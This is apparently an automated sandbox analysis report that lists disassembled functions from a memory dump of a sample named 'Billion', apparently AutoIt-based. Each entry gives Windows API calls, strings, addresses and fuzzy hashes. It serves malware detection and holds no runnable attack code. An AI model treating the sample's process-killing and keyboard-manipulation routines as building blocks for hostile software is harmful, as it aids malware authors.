Instruction Fuzzy Hash: 2D41AC71A04319ABDF21DF64CC49FEA7BA9FB68360F10012AF958E7291D774D980CB90

Function 0019C625 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 0019C6C4
IsMenu.USER32(00000000), ref: 0019C6E4
CreatePopupMenu.USER32 ref: 0019C71A
GetMenuItemCount.USER32(00C15120), ref: 0019C76B
InsertMenuItemW.USER32(00C15120,?,00000001,00000030), ref: 0019C793

Strings

2, xrefs: 0019C6FE
0, xrefs: 0019C66F

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup
String ID: 0$2
API String ID: 93392585-3793063076
Opcode ID: 572944f05360408039c426b2c28b9e0dcbea1d9dc25ad470ddd8a3f2b8275b2c
Instruction ID: 481e01e5a3d166c41ec722f4e46e9f6c5e9379c2ff42350534fb19797cb2e6a5
Opcode Fuzzy Hash: 572944f05360408039c426b2c28b9e0dcbea1d9dc25ad470ddd8a3f2b8275b2c
Instruction Fuzzy Hash: 7C51B070A00205ABDF18CFF8D9C4BAEBBF5AF59314F24412AE99197291D3709945CFE2

Function 00131B00 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 0013249F: GetWindowLongW.USER32(00000000,000000EB), ref: 001324B0

BeginPaint.USER32(?,?,?), ref: 00131B35
GetWindowRect.USER32(?,?), ref: 00131B99
ScreenToClient.USER32(?,?), ref: 00131BB6
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00131BC7
EndPaint.USER32(?,?,?,?,?), ref: 00131C15
Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00173287

Part of subcall function 00131C2D: BeginPath.GDI32(00000000), ref: 00131C4B

Strings

( , xrefs: 00131B0F

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: BeginPaintWindow$ClientLongPathRectRectangleScreenViewport
String ID: (
API String ID: 3050599898-2181176062
Opcode ID: 85c7314640d4cbdbc988caab4f41d456752fb09a6c207b9d78e614fa2a94c0d3
Instruction ID: 2605438bebcdaffff387fcc9fabf9505219f63018e3529675f2036a8ad545b01
Opcode Fuzzy Hash: 85c7314640d4cbdbc988caab4f41d456752fb09a6c207b9d78e614fa2a94c0d3
Instruction Fuzzy Hash: C141A170205304EFD711DF24EC88FB67BB8EF55324F140669FAA9872A2C7319949DB62

Function 001C86FC Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 82COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0), ref: 001C8740
SetWindowLongW.USER32(00000000,000000F0,?), ref: 001C8765
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 001C877D
GetSystemMetrics.USER32(00000004), ref: 001C87A6
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,?,?,001AC1F2,00000000), ref: 001C87C6

Part of subcall function 0013249F: GetWindowLongW.USER32(00000000,000000EB), ref: 001324B0

GetSystemMetrics.USER32(00000004), ref: 001C87B1

Strings

( , xrefs: 001C8709

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Window$Long$MetricsSystem
String ID: (
API String ID: 2294984445-2181176062
Opcode ID: a9ba0a944e55f3064bcc54e45888d12e543e92491c42e8ac7fde1860ff227952
Instruction ID: dd914a317396d2f0ca9d4e75a64076ebda5a9c4ef2d3098cb97d5b8f0772df61
Opcode Fuzzy Hash: a9ba0a944e55f3064bcc54e45888d12e543e92491c42e8ac7fde1860ff227952
Instruction Fuzzy Hash: 7A214A72610355EFCB189F38DC88F6A3BA5EB95365F25463EE926C25E0EB30C850CB10

Function 0019D11F Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 81windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 0019D1BE

Strings

info, xrefs: 0019D15F
blank, xrefs: 0019D140
stop, xrefs: 0019D18F
question, xrefs: 0019D177
warning, xrefs: 0019D1A7

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: 55cc82ba7abe9a4c2d7bde1511014a0439a3cd72e586bb5887cf2535ca1908d5
Instruction ID: 9e37b949dac32981b39ded19d724f02b777c3fb0fa23a43373027327617b642c
Opcode Fuzzy Hash: 55cc82ba7abe9a4c2d7bde1511014a0439a3cd72e586bb5887cf2535ca1908d5
Instruction Fuzzy Hash: B911DA3765C30AFBEB056B94FC82D7A77EC9F25765B21003AFA01AA1C1D7B4AA404261

Function 0019E73E Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 70networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 0019E759
gethostname.WSOCK32(?,00000100), ref: 0019E773
gethostbyname.WSOCK32(?), ref: 0019E780
inet_ntoa.WSOCK32(?), ref: 0019E7C2
_strcat.LIBCMT ref: 0019E7D0
WSACleanup.WSOCK32 ref: 0019E7F5

Strings

0.0.0.0, xrefs: 0019E79E

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: CleanupStartup_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 642191829-3771769585
Opcode ID: 539ec1f63a475e907867d516fd21641ac3bfdfa2ad9828eeb8f293d91789afda
Instruction ID: e4a78eced759b42b638341f01ce5e591ab991069788165016e7676478499fa47
Opcode Fuzzy Hash: 539ec1f63a475e907867d516fd21641ac3bfdfa2ad9828eeb8f293d91789afda
Instruction Fuzzy Hash: 5811B431904115BBCF24ABB0EC4AEEE7BACDF51715F0100B9F915A6091EF74DAC586A1

Function 0019F437 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 42windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 0019F447
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 0019F45D
GetWindowThreadProcessId.USER32(?,?), ref: 0019F46C
OpenProcess.KERNEL32(________________________________________________________________________________abccccccccdeefghijklmnopqrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstyzzzzzzzzzzzzzzzz{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{_,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0019F47B
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0019F485
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0019F48C

Strings

________________________________________________________________________________abccccccccdeefghijklmnopqrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstyzzzzzzzzzzzzzzzz{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{_, xrefs: 0019F476

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID: ________________________________________________________________________________abccccccccdeefghijklmnopqrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstyzzzzzzzzzzzzzzzz{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{_
API String ID: 839392675-1455413529
Opcode ID: 1e46091a62f0379ee7185c5cd8da91b4f3ac1645cef6df30346123f615bc3403
Instruction ID: d10ebdc8be82f8f7002de74cff239214ab2b1fb2c69c3940b1394e88888e8ae6
Opcode Fuzzy Hash: 1e46091a62f0379ee7185c5cd8da91b4f3ac1645cef6df30346123f615bc3403
Instruction Fuzzy Hash: 97F05472241198BBE7215752AC0EEEF7F7CEFC6B11F040068F601D1590D7A49A82C6B5

Function 0019F630 Relevance: 12.1, APIs: 8, Instructions: 137timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 0019F641
_wcslen.LIBCMT ref: 0019F652
_wcslen.LIBCMT ref: 0019F690
_wcslen.LIBCMT ref: 0019F6C6
_wcslen.LIBCMT ref: 0019F6F6
_wcslen.LIBCMT ref: 0019F706
_wcslen.LIBCMT ref: 0019F742
_wcslen.LIBCMT ref: 0019F771

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: _wcslen$LocalTime
String ID:
API String ID: 952045576-0
Opcode ID: a397c4ee878c4ee708b446e3efd76d2fce27dd118fa9bb3d41891c75939e60eb
Instruction ID: b17f3b4bc97f7fc2bb5cbaebec1a01e08780102229f29aa03917a563fda5acfc
Opcode Fuzzy Hash: a397c4ee878c4ee708b446e3efd76d2fce27dd118fa9bb3d41891c75939e60eb
Instruction Fuzzy Hash: 3541C865C10114FACB11EBF8CC86ADFB768AF15311F904466E928E7121FB34D25AC3E6

Function 001C379F Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 001C37B7
GetDC.USER32(00000000), ref: 001C37BF
GetDeviceCaps.GDI32(00000000,0000005A), ref: 001C37CA
ReleaseDC.USER32(00000000,00000000), ref: 001C37D6
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 001C3812
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 001C3823
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,001C6504,?,?,000000FF,00000000,?,000000FF,?), ref: 001C385E
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 001C387D

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 7440f5e8e4e10874b4ecbf84e50064101a72ff6036f3f2a6960e1702eb1628bb
Instruction ID: 3af302bd930c98bbed0ad71eb6f1e45e8bccac40f4923c3297377af558c21736
Opcode Fuzzy Hash: 7440f5e8e4e10874b4ecbf84e50064101a72ff6036f3f2a6960e1702eb1628bb
Instruction Fuzzy Hash: 06319C72201214BFEB158F54EC89FEB3FA9EF59715F044069FE089A291C6B5DC91CBA0

Function 001B5A0B Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 359COMMON

Download Yara Rule

Strings

Not an Object type, xrefs: 001B5A64
NULL Pointer assignment, xrefs: 001B5A8B, 001B5DE0

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: b608e907969d4998866abc90cdf8a0883c661ddcde78dcc8622771035e648b4b
Instruction ID: 8a002dcf9baf5408e89e9d6886ebc87f8c4be6ff02a90d3a8c399bf6801a7fbc
Opcode Fuzzy Hash: b608e907969d4998866abc90cdf8a0883c661ddcde78dcc8622771035e648b4b
Instruction Fuzzy Hash: 72D19E71A0060A9FDF14CFA8C885BEEB7B6FF48304F158569E915AB281E770ED45CB50

Function 001718A2 Relevance: 10.8, APIs: 7, Instructions: 268COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000000,?,7FFFFFFF,?,?,00171B7B,00000000,00000000,?,00000000,?,?,?,?,00000000), ref: 0017194E
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,00171B7B,00000000,00000000,?,00000000,?,?,?,?), ref: 001719D1
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00171B7B,?,00171B7B,00000000,00000000,?,00000000,?,?,?,?), ref: 00171A64
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,00171B7B,00000000,00000000,?,00000000,?,?,?,?), ref: 00171A7B

Part of subcall function 00163B93: RtlAllocateHeap.NTDLL(00000000,?,?,?,00156A79,?,0000015D,?,?,?,?,001585B0,000000FF,00000000,?,?), ref: 00163BC5

MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,00171B7B,00000000,00000000,?,00000000,?,?,?,?), ref: 00171AF7
__freea.LIBCMT ref: 00171B22
__freea.LIBCMT ref: 00171B2E

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: ByteCharMultiWide$__freea$AllocateHeapInfo
String ID:
API String ID: 2829977744-0
Opcode ID: f27166ee106ef373478ef5a4f7e994992b31f473c7c6d374b15fec007a6c646d
Instruction ID: d9ca82fb84af23f30a9da8ca81caef8a86ed27ba3afb7fb24332d15b848f4c62
Opcode Fuzzy Hash: f27166ee106ef373478ef5a4f7e994992b31f473c7c6d374b15fec007a6c646d
Instruction Fuzzy Hash: 9091D472E00216BBDB248EACCC91EEEBBB5EF19714F198129E909E7180E734DD41C760

Function 001B4F80 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 262COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 001B50A5
VariantInit.OLEAUT32(?), ref: 001B51A6
VariantClear.OLEAUT32(?), ref: 001B51B0
VariantClear.OLEAUT32(?), ref: 001B520D

Strings

Incorrect Object type in FOR..IN loop, xrefs: 001B5189
Null Object assignment in FOR..IN loop, xrefs: 001B5035, 001B5163, 001B521B

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Variant$ClearInit
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2610073882-625585964
Opcode ID: f51843c0d44d3d8b79976feab8a1b954f67155e318729fe0fe4d869edfc6222b
Instruction ID: 10f51a3e6fcaf042568587d3c615b4f60285fa1f286a561bbc86853965244cfb
Opcode Fuzzy Hash: f51843c0d44d3d8b79976feab8a1b954f67155e318729fe0fe4d869edfc6222b
Instruction Fuzzy Hash: F7919A71A00619ABDF24DFA5C888FEEBBB9AF49314F108559F505AB280D7709941CFA0

Function 001B43A4 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 240COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 001B43C8
CharUpperBuffW.USER32(?,?), ref: 001B44D7
_wcslen.LIBCMT ref: 001B44E7
VariantClear.OLEAUT32(?), ref: 001B467C

Part of subcall function 001A169E: VariantInit.OLEAUT32(00000000), ref: 001A16DE
Part of subcall function 001A169E: VariantCopy.OLEAUT32(?,?), ref: 001A16E7
Part of subcall function 001A169E: VariantClear.OLEAUT32(?), ref: 001A16F3

Strings

Incorrect Parameter format, xrefs: 001B4403, 001B45FE
AUTOIT.ERROR, xrefs: 001B44DD, 001B44E2

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper_wcslen
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4137639002-1221869570
Opcode ID: f4b5596d6b6b6aa1fbc655036723b1e07f945ac796c9beffaf32e889792a3f4e
Instruction ID: 450c2e5ddc7c98c487d03a0723aecd32f9be5fcc0d2702fd65a001a44f8dd532
Opcode Fuzzy Hash: f4b5596d6b6b6aa1fbc655036723b1e07f945ac796c9beffaf32e889792a3f4e
Instruction Fuzzy Hash: 81918A746083019FCB14EF24C4809AAB7E5FF99714F14892DF88A9B352DB31ED06CB92

Function 001B560A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

APIs

Part of subcall function 001908FE: CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,00190831,80070057,?,?,?,00190C4E), ref: 0019091B
Part of subcall function 001908FE: ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00190831,80070057,?,?), ref: 00190936
Part of subcall function 001908FE: lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00190831,80070057,?,?), ref: 00190944
Part of subcall function 001908FE: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00190831,80070057,?), ref: 00190954

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,00000001,?,?), ref: 001B56AE
_wcslen.LIBCMT ref: 001B57B6
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,?), ref: 001B582C
CoTaskMemFree.OLE32(?), ref: 001B5837

Strings

NULL Pointer assignment, xrefs: 001B5880, 001B58AF

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: FreeFromProgTask$CreateInitializeInstanceSecurity_wcslenlstrcmpi
String ID: NULL Pointer assignment
API String ID: 614568839-2785691316
Opcode ID: 0633dc3b40212d63ccd02d2986813b1474077ca81d24896001e1dfea8fa2b7d8
Instruction ID: 394694ce61c858716b0b6ade5c2b24cd4a6fafa6032ea6039e34a05dc8c761d6
Opcode Fuzzy Hash: 0633dc3b40212d63ccd02d2986813b1474077ca81d24896001e1dfea8fa2b7d8
Instruction Fuzzy Hash: 19910471D00219EFDF14DFA4D881EEEBBB9BF18304F10456AE915AB251EB709A44CFA0

Function 001C2B99 Relevance: 10.7, APIs: 7, Instructions: 196windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 001C2C1F
GetMenuItemCount.USER32(00000000), ref: 001C2C51
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 001C2C79
_wcslen.LIBCMT ref: 001C2CAF
GetMenuItemID.USER32(?,?), ref: 001C2CE9
GetSubMenu.USER32(?,?), ref: 001C2CF7

Part of subcall function 00194393: GetWindowThreadProcessId.USER32(?,00000000), ref: 001943AD
Part of subcall function 00194393: GetCurrentThreadId.KERNEL32 ref: 001943B4
Part of subcall function 00194393: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,00192F00), ref: 001943BB

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 001C2D7F

Part of subcall function 0019F292: Sleep.KERNEL32 ref: 0019F30A

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Menu$Thread$Item$AttachCountCurrentInputMessagePostProcessSleepStringWindow_wcslen
String ID:
API String ID: 4196846111-0
Opcode ID: c763b380aa67dc2d0027bfb53855455ed458cd381808d0a2b3cd68e14beea962
Instruction ID: 3b6605695e5f3fb2c69818ca5e9de571206c4f77f743a107a0575838167abd64
Opcode Fuzzy Hash: c763b380aa67dc2d0027bfb53855455ed458cd381808d0a2b3cd68e14beea962
Instruction Fuzzy Hash: 29716D75A00215AFCB15EFA4C845FAEBBF1EF68310F15846DE816AB351DB34EE418B90

Function 0019B881 Relevance: 10.7, APIs: 7, Instructions: 162windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 0019B8C0
GetKeyboardState.USER32(?), ref: 0019B8D5
SetKeyboardState.USER32(?), ref: 0019B936
PostMessageW.USER32(?,00000101,00000010,?), ref: 0019B964
PostMessageW.USER32(?,00000101,00000011,?), ref: 0019B983
PostMessageW.USER32(?,00000101,00000012,?), ref: 0019B9C4
PostMessageW.USER32(?,00000101,0000005B,?), ref: 0019B9E7

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

